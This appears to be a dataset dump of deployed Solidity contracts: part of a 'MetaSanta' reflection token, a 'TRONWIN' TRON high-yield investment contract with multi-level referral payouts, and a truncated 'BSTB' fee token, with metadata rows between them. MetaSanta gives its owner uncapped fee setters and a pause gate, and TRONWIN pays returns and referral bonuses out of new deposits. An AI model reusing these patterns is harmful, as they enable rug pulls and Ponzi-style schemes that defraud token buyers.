function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MetaSanta is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 50000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'MetaSanta';
string private constant _symbol = 'MSANTA';
uint256 private _taxFee = 800;
uint256 private _burnFee = 250;
uint public max_tx_size = 50000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x336256EAA56882c9aca03104d08E3845827aB81C, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 313,877 | 12,213 |
cf244f3e0bc31f6cfe1f6bc6118ef88c5138e182bd68ea7814e4ff282212ce96
| 12,139 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTTAtTtbJ9Gy7Yj4Zowa4vYbK3XnNg3Vg7_SafeMath.sol
| 3,372 | 11,968 |
//SourceUnit: TRONWIN.sol
pragma solidity ^0.4.25;
contract TRONWIN {
using SafeMath for uint256;
uint256 public totalPlayers;
uint256 public totalPayout;
uint256 public totalRefDistributed;
uint256 public totalInvested;
uint256 private minDepositSize = 100000000;
uint256 private interestRateDivisor = 1000000000000;
uint256 public devCommission = 50;
uint256 public commissionDivisor = 1000;
address private devAddress = msg.sender;
uint private releaseTime = 1614780000; // MARCH 3, 2021 - 2PM GMT
address owner;
struct Player {
uint256 trxDeposit;
uint256 time;
uint256 interestProfit;
uint256 affRewards;
uint256 payoutSum;
address affFrom;
uint256 tier;
}
struct Referral {
address player_addr;
uint256 aff1sum;
uint256 aff2sum;
uint256 aff3sum;
}
mapping(address => Referral) public referrals;
mapping(address => Player) public players;
constructor() public {
owner = msg.sender;
}
function register(address _addr, address _affAddr) private {
Player storage player = players[_addr];
player.affFrom = _affAddr;
player.tier = 0;
setRefCount(_addr, _affAddr);
}
function setRefCount(address _addr, address _affAddr) private {
Referral storage preferral = referrals[_addr];
preferral.player_addr = _addr;
address _affAddr2 = players[_affAddr].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
referrals[_affAddr].aff1sum = referrals[_affAddr].aff1sum.add(1);
referrals[_affAddr2].aff2sum = referrals[_affAddr2].aff2sum.add(1);
referrals[_affAddr3].aff3sum = referrals[_affAddr3].aff3sum.add(1);
}
function setTier(address _addr) private {
Player storage player = players[_addr];
if(player.trxDeposit > 5e9 && player.tier < 1) { player.tier = 1; player.time = now; }
if(player.trxDeposit > 10e9 && player.tier < 2) { player.tier = 2; player.time = now; }
if(player.trxDeposit > 20e9 && player.tier < 3) { player.tier = 3; player.time = now; }
if(player.trxDeposit > 50e9 && player.tier < 4) { player.tier = 4; player.time = now; }
}
function getRate(uint256 _tier) internal pure returns (uint256) {
uint256 _rate = 2314814;
if(_tier == 1) { _rate = 1736111; }
if(_tier == 2) { _rate = 1157407; }
if(_tier == 3) { _rate = 694444; }
if(_tier == 4) { _rate = 231482; }
return _rate;
}
function getTimeLimit(uint256 _tier) internal pure returns(uint256) {
uint256 timeLimit = 1296000;
if(_tier == 1) timeLimit = 1728000;
if(_tier == 2) timeLimit = 2592000;
if(_tier == 3) timeLimit = 4320000;
if(_tier == 4) timeLimit = 12960000;
return timeLimit;
}
function deposit(address _affAddr) public payable {
require(now >= releaseTime, "not launched yet!");
require(msg.value >= minDepositSize);
collect(msg.sender);
uint256 depositAmount = msg.value;
Player storage player = players[msg.sender];
if (player.time == 0) {
player.time = now;
totalPlayers++;
if (_affAddr != address(0) && players[_affAddr].trxDeposit > 0) {
register(msg.sender, _affAddr);
} else {
register(msg.sender, owner);
}
}
player.trxDeposit = player.trxDeposit.add(depositAmount);
setTier(msg.sender);
distributeRef(msg.value, player.affFrom);
totalInvested = totalInvested.add(depositAmount);
uint256 devEarn = depositAmount.mul(devCommission).div(commissionDivisor);
devAddress.transfer(devEarn);
}
function withdraw_referral() public {
require(now >= releaseTime, "not launched yet!");
require(players[msg.sender].affRewards > 0);
transferReferral(msg.sender, players[msg.sender].affRewards);
}
function withdraw() public {
require(now >= releaseTime, "not launched yet!");
collect(msg.sender);
require(players[msg.sender].interestProfit > 0);
transferPayout(msg.sender, players[msg.sender].interestProfit);
}
function reinvest() public {
require(now >= releaseTime, "not launched yet!");
collect(msg.sender);
Player storage player = players[msg.sender];
uint256 depositAmount = player.interestProfit;
require(address(this).balance >= depositAmount);
player.interestProfit = 0;
player.trxDeposit = player.trxDeposit.add(depositAmount);
setTier(msg.sender);
distributeRef(depositAmount, player.affFrom);
}
function collect(address _addr) internal {
Player storage player = players[_addr];
uint256 secPassed = now.sub(player.time);
uint256 timeLimit = 1296000;
if(player.tier == 1) timeLimit = 1728000;
if(player.tier == 2) timeLimit = 2592000;
if(player.tier == 3) timeLimit = 4320000;
if(player.tier == 4) timeLimit = 12960000;
uint256 _rate = getRate(player.tier);
if (secPassed > timeLimit && player.time > 0) {
secPassed = timeLimit;
uint256 collectProfit = (player.trxDeposit.mul(secPassed.mul(_rate))).div(interestRateDivisor);
player.interestProfit = player.interestProfit.add(collectProfit);
player.time = player.time.add(secPassed);
} else if (secPassed > 0 && player.time > 0) {
collectProfit = (player.trxDeposit.mul(secPassed.mul(_rate))).div(interestRateDivisor);
player.interestProfit = player.interestProfit.add(collectProfit);
player.time = player.time.add(secPassed);
}
}
function transferReferral(address _receiver, uint256 _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
uint256 payout =
_amount > contractBalance ? contractBalance : _amount;
totalPayout = totalPayout.add(payout);
players[_receiver].affRewards = players[_receiver]
.affRewards
.sub(payout);
Player storage player = players[_receiver];
player.payoutSum = player.payoutSum.add(payout);
msg.sender.transfer(payout);
}
}
}
function transferPayout(address _receiver, uint256 _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
uint256 payout = _amount > contractBalance ? contractBalance : _amount;
totalPayout = totalPayout.add(payout);
Player storage player = players[_receiver];
player.payoutSum = player.payoutSum.add(payout);
player.interestProfit = player.interestProfit.sub(payout);
uint256 maxProfit = (player.trxDeposit.mul(300)).div(100);
uint256 paid = player.payoutSum;
if (paid > maxProfit) { player.trxDeposit = 0; }
msg.sender.transfer(payout);
}
}
}
function distributeRef(uint256 _trx, address _affFrom) private {
if(_affFrom == address(0)) _affFrom = owner;
address _affAddr2 = players[_affFrom].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
if(_affAddr2 == address(0)) _affAddr2 = owner;
if(_affAddr3 == address(0)) _affAddr3 = owner;
uint256 refTrx = (_trx.mul(8)).div(100);
totalRefDistributed = totalRefDistributed.add(refTrx);
players[_affFrom].affRewards = players[_affFrom].affRewards.add(refTrx);
refTrx = (_trx.mul(5)).div(100);
totalRefDistributed = totalRefDistributed.add(refTrx);
players[_affAddr2].affRewards = players[_affAddr2].affRewards.add(refTrx);
refTrx = (_trx.mul(2)).div(100);
totalRefDistributed = totalRefDistributed.add(refTrx);
players[_affAddr3].affRewards = players[_affAddr3].affRewards.add(refTrx);
}
function getProfit(address _addr) public view returns (uint256) {
address playerAddress = _addr;
Player storage player = players[playerAddress];
require(player.time > 0, "player time is 0");
uint256 secPassed = now.sub(player.time);
uint256 timeLimit = getTimeLimit(player.tier);
uint256 _rate = getRate(player.tier);
if (secPassed > 0) {
if (secPassed > timeLimit) {
secPassed = timeLimit;
uint256 collectProfit = (player.trxDeposit.mul(secPassed.mul(_rate))).div(interestRateDivisor);
} else {
collectProfit = (player.trxDeposit.mul(secPassed.mul(_rate))).div(interestRateDivisor);
}
}
return collectProfit.add(player.interestProfit);
}
function getRemainingTime(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
uint256 secPassed = now.sub(player.time);
uint256 timeLimit = getTimeLimit(player.tier);
if (secPassed > 0) {
if (secPassed > timeLimit) {
secPassed = timeLimit;
}
}
timeLimit = timeLimit - secPassed;
return timeLimit;
}
function getContractInfo() public view returns (uint256 total_users,
uint256 total_invested,
uint256 total_withdrawn,
uint256 total_referrals,
uint256 contract_balance,
uint256 contract_launchdate) {
total_users = totalPlayers;
total_invested = totalInvested;
total_withdrawn = totalPayout;
total_referrals = totalRefDistributed;
contract_balance = address(this).balance;
contract_launchdate = releaseTime;
return (total_users,
total_invested,
total_withdrawn,
total_referrals,
contract_balance,
contract_launchdate);
}
function getUserInfo(address _addr) public view returns (uint256 total_deposit,
uint256 remaining_time,
uint256 withdrawable,
uint256 withdrawn,
uint256 ref_rewards,
uint256 referrals1,
uint256 referrals2,
uint256 referrals3,
uint256 tier) {
Player storage player = players[_addr];
if(player.time != 0) {
total_deposit = player.trxDeposit;
remaining_time = getRemainingTime(_addr);
withdrawable = getProfit(_addr);
withdrawn = player.payoutSum;
ref_rewards = player.affRewards;
referrals1 = referrals[_addr].aff1sum;
referrals2 = referrals[_addr].aff2sum;
referrals3 = referrals[_addr].aff3sum;
tier = player.tier;
}
return (total_deposit,
remaining_time,
withdrawable,
withdrawn,
ref_rewards,
referrals1,
referrals2,
referrals3,
tier);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 287,009 | 12,214 |
97ad7c7fe94e28a50bc51e7df4e8134558f3e1a173809611775e3113f585f637
| 17,603 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTqNVR3f8ZeLqUS5BxRFG8PvjmnUhApvFg_BSTB.sol
| 3,235 | 12,021 |
//SourceUnit: bbst.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract BSTB is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'BSTB';
string private _symbol = 'BSTB';
uint8 private _decimals = 6;
uint256 private _totalSupply = 100000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 3;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 6666 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
